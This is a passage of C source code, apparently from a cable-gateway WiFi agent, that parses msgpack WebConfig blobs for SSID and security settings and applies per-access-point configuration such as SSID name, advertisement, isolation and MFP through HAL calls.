memset(execRetVal,0,(sizeof(Err)));
execRetVal->ErrorCode = BLOB_EXEC_SUCCESS;
/* Validation of Input parameters */
retval = webconf_validate_wifi_param_handler(ps, execRetVal, ssid_type);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Validation of msg blob failed\n",__FUNCTION__));
execRetVal->ErrorCode = VALIDATION_FALIED;
return execRetVal;
} else {
/* Apply Paramters to hal and update TR-181 cache */
retval = webconf_apply_wifi_param_handler(ps, execRetVal, ssid_type);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to Apply WebConfig Params\n",
__FUNCTION__));
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return execRetVal;
}
}
if (webconf_update_dml_params(ps, ssid_type) != RETURN_OK) {
CcspTraceError(("%s: Failed to Populate TR-181 Params\n",
__FUNCTION__));
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return execRetVal;
}
if ( strcmp(notifyWiFiChangesVal,"true") == 0 )
{
parameterSigStruct_t val = {0};
char param_name[64] = {0};
#ifdef WIFI_HAL_VERSION_3
UINT radioIndex = 0;
for (UINT apIndex = 0; apIndex < getTotalNumberVAPs(); apIndex++)
{
if (isVapPrivate(apIndex))
{
radioIndex = getRadioIndexFromAp(apIndex);
if (SSID_UPDATED[radioIndex])
{
snprintf(param_name, sizeof(param_name), "Device.WiFi.SSID.%u.SSID", apIndex + 1);
val.parameterName = param_name;
val.newValue = ps->ssid[radioIndex].ssid_name;
WiFiPramValueChangedCB(&val, 0, NULL);
SSID_UPDATED[radioIndex] = FALSE;
}
if (PASSPHRASE_UPDATED[radioIndex])
{
snprintf(param_name, sizeof(param_name), "Device.WiFi.AccessPoint.%u.Security.X_COMCAST-COM_KeyPassphrase", apIndex + 1);
val.parameterName = param_name;
val.newValue = ps->security[radioIndex].passphrase;
WiFiPramValueChangedCB(&val, 0, NULL);
PASSPHRASE_UPDATED[radioIndex] = FALSE;
}
}
}
#else
if (SSID1_UPDATED) {
strncpy(param_name, "Device.WiFi.SSID.1.SSID", sizeof(param_name));
val.parameterName = param_name;
val.newValue = ps->ssid_2g.ssid_name;
WiFiPramValueChangedCB(&val, 0, NULL);
SSID1_UPDATED = FALSE;
}
if (SSID2_UPDATED) {
strncpy(param_name, "Device.WiFi.SSID.2.SSID", sizeof(param_name));
val.parameterName = param_name;
val.newValue = ps->ssid_5g.ssid_name;
WiFiPramValueChangedCB(&val, 0, NULL);
SSID2_UPDATED = FALSE;
}
if (PASSPHRASE1_UPDATED) {
strncpy(param_name, "Device.WiFi.AccessPoint.1.Security.X_COMCAST-COM_KeyPassphrase",sizeof(param_name));
val.parameterName = param_name;
val.newValue = ps->security_2g.passphrase;
WiFiPramValueChangedCB(&val, 0, NULL);
PASSPHRASE1_UPDATED = FALSE;
}
if (PASSPHRASE2_UPDATED) {
strncpy(param_name, "Device.WiFi.AccessPoint.2.Security.X_COMCAST-COM_KeyPassphrase",sizeof(param_name));
val.parameterName = param_name;
val.newValue = ps->security_5g.passphrase;
WiFiPramValueChangedCB(&val, 0, NULL);
PASSPHRASE2_UPDATED = FALSE;
}
#endif
}
return execRetVal;
}
/**
* Function to apply WiFi Configs from dmcli
*
* @param buf Pointer to the decodedMsg
* @param size Size of the Decoded Message
*
* returns 0 on success, error otherwise
*/
int wifi_WebConfigSet(const void *buf, size_t len,uint8_t ssid)
{
size_t offset = 0;
msgpack_unpacked msg;
msgpack_unpack_return mp_rv;
msgpack_object_map *map = NULL;
msgpack_object_kv* map_ptr = NULL;
webconf_wifi_t *ps = NULL;
unsigned int i = 0;
#ifdef WIFI_HAL_VERSION_3
char ssid_str[MAX_NUM_RADIOS][20] = {0};
char sec_str[MAX_NUM_RADIOS][20] = {0};
#else
char ssid_2g_str[20] = {0};
char ssid_5g_str[20] = {0};
char sec_2g_str[20] = {0};
char sec_5g_str[20] = {0};
#endif
msgpack_unpacked_init( &msg );
len += 1;
/* The outermost wrapper MUST be a map. */
mp_rv = msgpack_unpack_next( &msg, (const char*) buf, len, &offset );
if (mp_rv != MSGPACK_UNPACK_SUCCESS) {
CcspTraceError(("%s: Failed to unpack wifi msg blob. Error %d",__FUNCTION__,mp_rv));
msgpack_unpacked_destroy( &msg );
return RETURN_ERR;
}
CcspTraceInfo(("%s:Msg unpack success. Offset is %u\n", __FUNCTION__,offset));
msgpack_object obj = msg.data;
map = &msg.data.via.map;
map_ptr = obj.via.map.ptr;
if ((!map) || (!map_ptr)) {
CcspTraceError(("Failed to get object map\n"));
msgpack_unpacked_destroy( &msg );
return RETURN_ERR;
}
if (msg.data.type != MSGPACK_OBJECT_MAP) {
CcspTraceError(("%s: Invalid msgpack type",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
return RETURN_ERR;
}
/* Allocate memory for wifi structure */
ps = (webconf_wifi_t *) malloc(sizeof(webconf_wifi_t));
if (ps == NULL) {
CcspTraceError(("%s: Wifi Struc malloc error\n",__FUNCTION__));
return RETURN_ERR;
}
memset(ps, 0, sizeof(webconf_wifi_t));
if (ssid == WIFI_WEBCONFIG_PRIVATESSID) {
#ifdef WIFI_HAL_VERSION_3
for (UINT radioIndex = 0; radioIndex < getNumberRadios(); ++radioIndex)
{
UINT band = convertRadioIndexToFrequencyNum(radioIndex);
snprintf(ssid_str[radioIndex],sizeof(ssid_str[radioIndex]),"private_ssid_%ug", band);
snprintf(sec_str[radioIndex],sizeof(sec_str[radioIndex]),"private_security_%ug", band);
}
#else
snprintf(ssid_2g_str,sizeof(ssid_2g_str),"private_ssid_2g");
snprintf(ssid_5g_str,sizeof(ssid_5g_str),"private_ssid_5g");
snprintf(sec_2g_str,sizeof(sec_2g_str),"private_security_2g");
snprintf(sec_5g_str,sizeof(sec_5g_str),"private_security_5g");
#endif
} else if (ssid == WIFI_WEBCONFIG_HOMESSID) {
#ifdef WIFI_HAL_VERSION_3
for (UINT radioIndex = 0; radioIndex < getNumberRadios(); ++radioIndex)
{
UINT band = convertRadioIndexToFrequencyNum(radioIndex);
snprintf(ssid_str[radioIndex],sizeof(ssid_str[radioIndex]),"home_ssid_%ug",band);
snprintf(sec_str[radioIndex],sizeof(sec_str[radioIndex]),"home_security_%ug", band);
}
#else
snprintf(ssid_2g_str,sizeof(ssid_2g_str),"home_ssid_2g");
snprintf(ssid_5g_str,sizeof(ssid_5g_str),"home_ssid_5g");
snprintf(sec_2g_str,sizeof(sec_2g_str),"home_security_2g");
snprintf(sec_5g_str,sizeof(sec_5g_str),"home_security_5g");
#endif
} else {
CcspTraceError(("%s: Invalid ssid type\n",__FUNCTION__));
}
/* Parsing Config Msg String to Wifi Structure */
for(i = 0;i < map->size;i++) {
#ifdef WIFI_HAL_VERSION_3
for (UINT radioIndex = 0; radioIndex < getNumberRadios(); ++radioIndex)
{
if (strncmp(map_ptr->key.via.str.ptr, ssid_str[radioIndex], map_ptr->key.via.str.size) == 0) {
if (webconf_copy_wifi_ssid_params(map_ptr->val, &ps->ssid[radioIndex]) != RETURN_OK) {
CcspTraceError(("%s:Failed to copy wifi ssid params for wlan index 0",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
if (ps) {
free(ps);
ps = NULL;
}
return RETURN_ERR;
}
}
else if (strncmp(map_ptr->key.via.str.ptr, sec_str[radioIndex], map_ptr->key.via.str.size) == 0) {
if (webconf_copy_wifi_security_params(map_ptr->val, &ps->security[radioIndex]) != RETURN_OK) {
CcspTraceError(("%s:Failed to copy wifi security params for wlan index 0",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
if (ps) {
free(ps);
ps = NULL;
}
return RETURN_ERR;
}
}
}
if (strncmp(map_ptr->key.via.str.ptr, "subdoc_name", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_STR) {
strncpy(ps->subdoc_name, map_ptr->val.via.str.ptr, map_ptr->val.via.str.size);
CcspTraceError(("subdoc name %s\n", ps->subdoc_name));
}
}
else if (strncmp(map_ptr->key.via.str.ptr, "version", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_POSITIVE_INTEGER) {
ps->version = (uint64_t) map_ptr->val.via.u64;
CcspTraceError(("Version type %d version %llu\n",map_ptr->val.type,ps->version));
}
}
else if (strncmp(map_ptr->key.via.str.ptr, "transaction_id", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_POSITIVE_INTEGER) {
ps->transaction_id = (uint16_t) map_ptr->val.via.u64;
CcspTraceError(("Tx id type %d tx id %d\n",map_ptr->val.type,ps->transaction_id));
}
}
#else
if (strncmp(map_ptr->key.via.str.ptr, ssid_2g_str,map_ptr->key.via.str.size) == 0) {
if (webconf_copy_wifi_ssid_params(map_ptr->val, &ps->ssid_2g) != RETURN_OK) {
CcspTraceError(("%s:Failed to copy wifi ssid params for wlan index 0",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
if (ps) {
free(ps);
ps = NULL;
}
return RETURN_ERR;
}
}
else if (strncmp(map_ptr->key.via.str.ptr, ssid_5g_str,map_ptr->key.via.str.size) == 0) {
if (webconf_copy_wifi_ssid_params(map_ptr->val, &ps->ssid_5g) != RETURN_OK) {
CcspTraceError(("%s:Failed to copy wifi ssid params for wlan index 1",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
if (ps) {
free(ps);
ps = NULL;
}
return RETURN_ERR;
}
}
else if (strncmp(map_ptr->key.via.str.ptr, sec_2g_str,map_ptr->key.via.str.size) == 0) {
if (webconf_copy_wifi_security_params(map_ptr->val, &ps->security_2g) != RETURN_OK) {
CcspTraceError(("%s:Failed to copy wifi security params for wlan index 0",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
if (ps) {
free(ps);
ps = NULL;
}
return RETURN_ERR;
}
}
else if (strncmp(map_ptr->key.via.str.ptr, sec_5g_str,map_ptr->key.via.str.size) == 0) {
if (webconf_copy_wifi_security_params(map_ptr->val, &ps->security_5g) != RETURN_OK) {
CcspTraceError(("%s:Failed to copy wifi security params for wlan index 1",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
if (ps) {
free(ps);
ps = NULL;
}
return RETURN_ERR;
}
}
else if (strncmp(map_ptr->key.via.str.ptr, "subdoc_name", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_STR) {
strncpy(ps->subdoc_name, map_ptr->val.via.str.ptr, map_ptr->val.via.str.size);
CcspTraceError(("subdoc name %s\n", ps->subdoc_name));
}
}
else if (strncmp(map_ptr->key.via.str.ptr, "version", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_POSITIVE_INTEGER) {
ps->version = (uint64_t) map_ptr->val.via.u64;
CcspTraceError(("Version type %d version %llu\n",map_ptr->val.type,ps->version));
}
}
else if (strncmp(map_ptr->key.via.str.ptr, "transaction_id", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_POSITIVE_INTEGER) {
ps->transaction_id = (uint16_t) map_ptr->val.via.u64;
CcspTraceError(("Tx id type %d tx id %d\n",map_ptr->val.type,ps->transaction_id));
}
}
#endif
++map_ptr;
}
msgpack_unpacked_destroy( &msg );
execData *execDataPf = NULL ;
execDataPf = (execData*) malloc (sizeof(execData));
if (execDataPf != NULL) {
memset(execDataPf, 0, sizeof(execData));
execDataPf->txid = ps->transaction_id;
execDataPf->version = ps->version;
execDataPf->numOfEntries = 1;
strncpy(execDataPf->subdoc_name,ps->subdoc_name, sizeof(execDataPf->subdoc_name)-1);
execDataPf->user_data = (void*) ps;
execDataPf->calcTimeout = webconf_ssid_timeout_handler;
execDataPf->executeBlobRequest = webconf_wifi_ssid_config_handler;
execDataPf->rollbackFunc = webconf_ssid_rollback_handler;
execDataPf->freeResources = webconf_ssid_free_resources;
PushBlobRequest(execDataPf);
CcspTraceInfo(("PushBlobRequest Complete\n"));
}
return RETURN_OK;
}
char *wifi_apply_ssid_config(wifi_vap_info_t *vap_cfg, wifi_vap_info_t *curr_cfg, BOOL is_tunnel,BOOL is_vap_enabled)
{
#ifdef WIFI_HAL_VERSION_3
//Here we populate the structure curr_cfg , since we will can createVAP API to apply the settings
BOOLEAN bForceDisableFlag = FALSE;
uint8_t wlan_index = curr_cfg->vap_index;
if(ANSC_STATUS_FAILURE == CosaDmlWiFiGetCurrForceDisableWiFiRadio(&bForceDisableFlag))
{
CcspTraceError(("%s Failed to fetch ForceDisableWiFiRadio flag!!!\n",__FUNCTION__));
return "Dml fetch failed";
}
/* Apply SSID Enable/Disable */
if ((curr_cfg->u.bss_info.enabled != vap_cfg->u.bss_info.enabled) && (!bForceDisableFlag))
{
curr_cfg->u.bss_info.enabled = vap_cfg->u.bss_info.enabled;
curr_cfg->u.bss_info.wps.enable = vap_cfg->u.bss_info.wps.enable;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d ssid enabled: %d wps enable : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.enabled, curr_cfg->u.bss_info.wps.enable);
if (curr_cfg->u.bss_info.enabled)
{
gradio_restart[curr_cfg->radio_index] = TRUE;
}
}
else if (bForceDisableFlag == TRUE)
{
CcspWifiTrace(("RDK_LOG_WARN, %s %d WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n", __FUNCTION__, __LINE__));
}
if (is_tunnel)
{
return NULL;
}
if (( ((vap_cfg->u.bss_info.ssid != NULL) && (strcmp(vap_cfg->u.bss_info.ssid, curr_cfg->u.bss_info.ssid) !=0)) || (is_vap_enabled)) && (!bForceDisableFlag))
{
t2_event_d("WIFI_INFO_XHCofigchanged", 1);
strncpy(curr_cfg->u.bss_info.ssid, vap_cfg->u.bss_info.ssid, sizeof(curr_cfg->u.bss_info.ssid)-1);
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated ssid : %s\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.ssid);
}
else if (bForceDisableFlag == TRUE)
{
CcspWifiTrace(("RDK_LOG_WARN, %s %d WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n", __FUNCTION__, __LINE__));
}
if (vap_cfg->u.bss_info.showSsid != curr_cfg->u.bss_info.showSsid || is_vap_enabled)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.showSsid = vap_cfg->u.bss_info.showSsid;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated showSsid : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.ssid);
}
}
if (vap_cfg->u.bss_info.isolation != curr_cfg->u.bss_info.isolation)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.isolation = vap_cfg->u.bss_info.isolation;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated isolation : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.isolation);
}
else
{
CcspTraceError(("%s: Isolation enable cannot be changed when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.bssMaxSta != curr_cfg->u.bss_info.bssMaxSta)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.bssMaxSta = vap_cfg->u.bss_info.bssMaxSta;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated bssMaxSta : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.bssMaxSta);
}
else
{
CcspTraceError(("%s: bssMaxSta cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.nbrReportActivated != curr_cfg->u.bss_info.nbrReportActivated)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.nbrReportActivated = vap_cfg->u.bss_info.nbrReportActivated;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated nbrReportActivated : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.nbrReportActivated);
}
else
{
CcspTraceError(("%s: Neighboreport cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.vapStatsEnable != curr_cfg->u.bss_info.vapStatsEnable)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
if ((wifi_stats_flag_change(wlan_index, vap_cfg->u.bss_info.vapStatsEnable, 1)) != RETURN_OK) {
CcspTraceError(("%s: Failed to set wifi stats flag for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_stats_flag_change failed";
}
curr_cfg->u.bss_info.vapStatsEnable = vap_cfg->u.bss_info.vapStatsEnable;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated vapStatsEnable : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.vapStatsEnable);
}
else
{
CcspTraceError(("%s: Vapstats enable cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.bssTransitionActivated != curr_cfg->u.bss_info.bssTransitionActivated)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.bssTransitionActivated = vap_cfg->u.bss_info.bssTransitionActivated;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated bssTransitionActivated : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.bssTransitionActivated);
}
else
{
CcspTraceError(("%s: Bss transition cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.mgmtPowerControl != curr_cfg->u.bss_info.mgmtPowerControl)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.mgmtPowerControl = vap_cfg->u.bss_info.mgmtPowerControl;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated mgmtPowerControl : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.mgmtPowerControl);
}
else
{
CcspTraceError(("%s: Frame power control cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.security.mfp != curr_cfg->u.bss_info.security.mfp)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.security.mfp = vap_cfg->u.bss_info.security.mfp;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated mfpConfig : %s\n", __FUNCTION__, wlan_index,
MFPConfigOptions[curr_cfg->u.bss_info.security.mfp]);
}
else
{
CcspTraceError(("%s: MFP Config cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
return NULL;
#else //WIFI_HAL_VERSION_3
int retval = RETURN_ERR;
BOOLEAN bForceDisableFlag = FALSE;
uint8_t wlan_index = vap_cfg->vap_index;
BOOL enable_vap = FALSE;
if(ANSC_STATUS_FAILURE == CosaDmlWiFiGetCurrForceDisableWiFiRadio(&bForceDisableFlag))
{
CcspTraceError(("%s Failed to fetch ForceDisableWiFiRadio flag!!!\n",__FUNCTION__));
return "Dml fetch failed";
}
if ((vap_cfg->u.bss_info.enabled == TRUE) && (curr_cfg->u.bss_info.enabled == TRUE)) {
char ssid_status[64] = {0};
if (wifi_getSSIDStatus(wlan_index, ssid_status) != RETURN_OK) {
CcspTraceError(("%s: Failed to get SSID Status\n", __FUNCTION__));
return "wifi_getSSIDStatus failed";
}
if ((strcmp(ssid_status,"Enabled")!=0) && (strcmp(ssid_status,"Up") != 0)) {
enable_vap = TRUE;
}
}
/* Apply SSID Enable/Disable */
if (((curr_cfg->u.bss_info.enabled != vap_cfg->u.bss_info.enabled) && (!bForceDisableFlag)) || (enable_vap)) {
CcspWifiTrace(("RDK_LOG_WARN,RDKB_WIFI_CONFIG_CHANGED : %s Calling wifi_setEnable"
" to enable/disable SSID on interface: %d enable: %d\n",
__FUNCTION__, wlan_index, vap_cfg->u.bss_info.enabled));
retval = wifi_setSSIDEnable(wlan_index, vap_cfg->u.bss_info.enabled);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Enable for wlan %d\n",__FUNCTION__, wlan_index));
return "wifi_setSSIDEnable failed";
}
if (strcmp(vap_cfg->vap_name,"iot_ssid_2g") == 0) {
char passph[128]={0};
wifi_getApSecurityKeyPassphrase(2, passph);
wifi_setApSecurityKeyPassphrase(3, passph);
wifi_getApSecurityPreSharedKey(2, passph);
wifi_setApSecurityPreSharedKey(3, passph);
g_newXH5Gpass=TRUE;
}
CcspWifiTrace(("RDK_LOG_WARN,WIFI %s wifi_setApEnable success index %d , %d",
__FUNCTION__,wlan_index, vap_cfg->u.bss_info.enabled));
#if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_))
if (vap_cfg->u.bss_info.enabled) {
BOOL enable_wps = FALSE;
retval = wifi_getApWpsEnable(wlan_index, &enable_wps);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to get Ap Wps Enable\n", __FUNCTION__));
return "wifi_getApWpsEnable failed";
}
BOOL up;
char status[64]={0};
if (wifi_getSSIDStatus(wlan_index, status) != RETURN_OK) {
CcspTraceError(("%s: Failed to get SSID Status\n", __FUNCTION__));
return "wifi_getSSIDStatus failed";
}
up = (strcmp(status,"Enabled")==0) || (strcmp(status,"Up")==0);
CcspTraceInfo(("SSID status is %s\n",status));
if (up == FALSE) {
#if defined(_INTEL_WAV_)
retval = wifi_setSSIDEnable(wlan_index, TRUE);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to enable AP Interface for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setSSIDEnable failed";
}
CcspTraceInfo(("AP Enabled Successfully %d\n\n",wlan_index));
#else
uint8_t radio_index = (wlan_index % 2);
retval = wifi_createAp(wlan_index, radio_index, vap_cfg->u.bss_info.ssid,
(vap_cfg->u.bss_info.showSsid == TRUE) ? FALSE : TRUE);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to create AP Interface for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_createAp failed";
}
CcspTraceInfo(("AP Created Successfully %d\n\n",wlan_index));
#endif
gradio_restart[wlan_index%2] = TRUE;
}
if (vap_cfg->u.bss_info.security.mode >= (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_WPA_Personal) {
retval = wifi_removeApSecVaribles(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to remove AP SEC Variable for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_removeApSecVaribles failed";
}
retval = wifi_createHostApdConfig(wlan_index, enable_wps);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to create hostapd config for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_createHostApdConfig failed";
}
gHostapd_restart_reqd = true;
CcspTraceInfo(("Created hostapd config successfully wlan_index %d\n", wlan_index));
}
#ifdef CISCO_XB3_PLATFORM_CHANGES
if ((wlan_index == 4) || (wlan_index == 5))
wifi_setRouterEnable(wlan_index,TRUE);
wifi_ifConfigUp(wlan_index);
#endif
PCOSA_DML_WIFI_AP_CFG pStoredApCfg = &sWiFiDmlApStoredCfg[wlan_index].Cfg;
CosaDmlWiFiApPushCfg(pStoredApCfg);
CosaDmlWiFiApMfPushCfg(sWiFiDmlApMfCfg[wlan_index], wlan_index);
CosaDmlWiFiApPushMacFilter(sWiFiDmlApMfQueue[wlan_index], wlan_index);
wifi_pushBridgeInfo(wlan_index);
wifi_setApEnable(wlan_index, TRUE);
} else {
#ifdef CISCO_XB3_PLATFORM_CHANGES
wifi_ifConfigDown(wlan_index);
#endif
if (curr_cfg->u.bss_info.security.mode >= (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_WPA_Personal) {
retval = wifi_removeApSecVaribles(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to remove AP SEC Variable for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_removeApSecVaribles failed";
}
gHostapd_restart_reqd = true;
}
}
#endif /* _XB6_PRODUCT_REQ_ */
curr_cfg->u.bss_info.enabled = vap_cfg->u.bss_info.enabled;
CcspTraceInfo(("%s: SSID Enable change applied for wlan %d\n",__FUNCTION__, wlan_index));
} else if (bForceDisableFlag == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
} else if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") == 0) || (strcmp(vap_cfg->vap_name,"hotspot_secure_5g") == 0) ||
(strcmp(vap_cfg->vap_name,"hotspot_open_2g")== 0) || (strcmp(vap_cfg->vap_name,"hotspot_open_5g") == 0)) {
if (vap_cfg->u.bss_info.enabled) {
if (wifi_setApEnable(wlan_index, TRUE) != RETURN_OK) {
CcspTraceError(("%s: wifi_setApEnable failed index %d\n",__FUNCTION__,wlan_index));
return "wifi_setApEnable failed";
}
}
}
if (is_tunnel) {
return NULL;
}
/* Apply SSID values to hal */
if (( ((vap_cfg->u.bss_info.ssid != NULL) && (strcmp(vap_cfg->u.bss_info.ssid, curr_cfg->u.bss_info.ssid) !=0)) || (is_vap_enabled)) &&
(!bForceDisableFlag)) {
CcspTraceInfo(("RDKB_WIFI_CONFIG_CHANGED : %s Calling wifi_setSSID to "
"change SSID name on interface: %d SSID: %s \n",
__FUNCTION__,wlan_index,vap_cfg->u.bss_info.ssid));
t2_event_d("WIFI_INFO_XHCofigchanged", 1);
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setSSIDName(wlan_index, vap_cfg->u.bss_info.ssid);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to apply SSID name for wlan %d\n",__FUNCTION__, wlan_index));
return "wifi_setSSIDName failed";
}
retval = wifi_pushSSID(wlan_index, vap_cfg->u.bss_info.ssid);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to push SSID name for wlan %d\n",__FUNCTION__, wlan_index));
return "wifi_pushSSID failed";
}
strncpy(curr_cfg->u.bss_info.ssid,vap_cfg->u.bss_info.ssid, sizeof(curr_cfg->u.bss_info.ssid)-1);
CcspTraceInfo(("%s: SSID name change applied for wlan %d\n",__FUNCTION__, wlan_index));
#if defined(ENABLE_FEATURE_MESHWIFI)
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of SSID change\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_SSIDName \"RDK|%d|%s\"",wlan_index, vap_cfg->u.bss_info.ssid);
#endif
#ifdef WIFI_HAL_VERSION_3
UINT apIndex = 0;
if ( (getVAPIndexFromName(vap_cfg->vap_name, &apIndex) == ANSC_STATUS_SUCCESS) && (isVapPrivate(apIndex)) )
{
SSID_UPDATED[getRadioIndexFromAp(apIndex)] = TRUE;
}
#else
if (strcmp(vap_cfg->vap_name, "private_ssid_2g") == 0) {
SSID1_UPDATED = TRUE;
} else if (strcmp(vap_cfg->vap_name, "private_ssid_5g") == 0) {
SSID2_UPDATED = TRUE;
}
#endif
} else {
strncpy(curr_cfg->u.bss_info.ssid,vap_cfg->u.bss_info.ssid, sizeof(curr_cfg->u.bss_info.ssid)-1);
}
} else if (bForceDisableFlag == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
}
if (vap_cfg->u.bss_info.showSsid != curr_cfg->u.bss_info.showSsid || is_vap_enabled) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApSsidAdvertisementEnable(wlan_index, vap_cfg->u.bss_info.showSsid);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set SSID Advertisement Status for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setApSsidAdvertisementEnable failed";
}
//wifi_pushSsidAdvertisementEnable is required only for XB3
//This Macro is applicable to XB6 and XB7
#if (!defined(_XB6_PRODUCT_REQ_))
retval = wifi_pushSsidAdvertisementEnable(wlan_index, vap_cfg->u.bss_info.showSsid);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to push SSID Advertisement Status for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_pushSsidAdvertisementEnable failed";
}
vap_cfg->u.bss_info.sec_changed = true;
#endif
#if defined(ENABLE_FEATURE_MESHWIFI)
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of SSID Advertise changes\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_SSIDAdvertisementEnable \"RDK|%d|%s\"",
wlan_index, vap_cfg->u.bss_info.showSsid?"true":"false");
#endif
gHostapd_restart_reqd = true;
curr_cfg->u.bss_info.showSsid = vap_cfg->u.bss_info.showSsid;
CcspTraceInfo(("%s: Advertisement change applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
curr_cfg->u.bss_info.showSsid = vap_cfg->u.bss_info.showSsid;
}
}
if (vap_cfg->u.bss_info.isolation != curr_cfg->u.bss_info.isolation) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApIsolationEnable(wlan_index, vap_cfg->u.bss_info.isolation);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to Isolation enable for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setApIsolationEnable failed";
}
curr_cfg->u.bss_info.isolation = vap_cfg->u.bss_info.isolation;
CcspTraceInfo(("%s: Isolation enable applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Isolation enable cannot be changed when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.bssMaxSta != curr_cfg->u.bss_info.bssMaxSta) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
